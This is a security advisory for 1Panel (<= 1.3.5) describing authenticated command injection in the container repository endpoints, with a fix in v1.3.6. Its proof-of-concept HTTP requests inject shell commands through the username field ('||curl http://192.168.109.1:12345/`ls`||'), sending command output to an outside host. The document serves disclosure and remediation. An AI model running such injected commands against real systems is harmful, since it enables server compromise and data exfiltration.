GHSA-q2mx-gpjf-3h8x

Impact

The authenticated attacker can craft a malicious payload to achieve command injection when adding container repositories.

1. Vulnerability analysis.

   backend\app\api\v1\image_repo.go#create
   

   

   backend\app\service\image_repo.go#CheckConn
   

   

2. vulnerability reproduction.

   POST /api/v1/containers/repo HTTP/1.1
   Host: 192.168.109.152:40982
   User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
   Accept: application/json, text/plain, */*
   Accept-Language: en-US,en;q=0.5
   Accept-Encoding: gzip, deflate
   Content-Type: application/json
   X-CSRF-TOKEN: 
   Content-Length: 446
   Origin: http://192.168.109.152:40982
   Connection: close
   Referer: http://192.168.109.152:40982/containers/repo
   Cookie: rem-username=admin; psession=a6bcab14-d426-4cfe-8635-533e88b6f75e
   

{"id":2,"createdAt":"2023-04-13T19:57:43.633643247-07:00","name":"asdasd","downloadUrl":"127.0.0.1:8080","protocol":"http","username":"admin||curl http://192.168.109.1:12345/`ls`||","auth":true,"status":"Failed","message":"stderr: WARNING! Using --password via the CLI is insecure. Use --password-stdin.\nError response from daemon: Get \"http://127.0.0.1:8080/v2/\": dial tcp 127.0.0.1:8080: connect: connection refused\n","password":"Passw0rd"}

3. Using update can be triggered multiple times.

   POST /api/v1/containers/repo/update HTTP/1.1
   Host: 192.168.109.152:40982
   User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
   Accept: application/json, text/plain, */*
   Accept-Language: en-US,en;q=0.5
   Accept-Encoding: gzip, deflate
   Content-Type: application/json
   X-CSRF-TOKEN: 
   Content-Length: 447
   Origin: http://192.168.109.152:40982
   Connection: close
   Referer: http://192.168.109.152:40982/containers/repo
   Cookie: rem-username=admin; psession=a6bcab14-d426-4cfe-8635-533e88b6f75e
   

{"id":2,"createdAt":"2023-04-13T19:57:43.633643247-07:00","name":"asdasd","downloadUrl":"127.0.0.1:8080","protocol":"http","username":"admin||curl http://192.168.109.1:12345/`pwd`||","auth":true,"status":"Failed","message":"stderr: WARNING! Using --password via the CLI is insecure. Use --password-stdin.\nError response from daemon: Get \"http://127.0.0.1:8080/v2/\": dial tcp 127.0.0.1:8080: connect: connection refused\n","password":"Passw0rd"}

Affected versions: <= 1.3.5

Patches

The vulnerability has been fixed in v1.3.6.

Workarounds

It is recommended to upgrade the version to v1.3.6.

References

If you have any questions or comments about this advisory:

Open an issue in https://github.com/1Panel-dev/1Panel Email us at wanghe@fit2cloud.com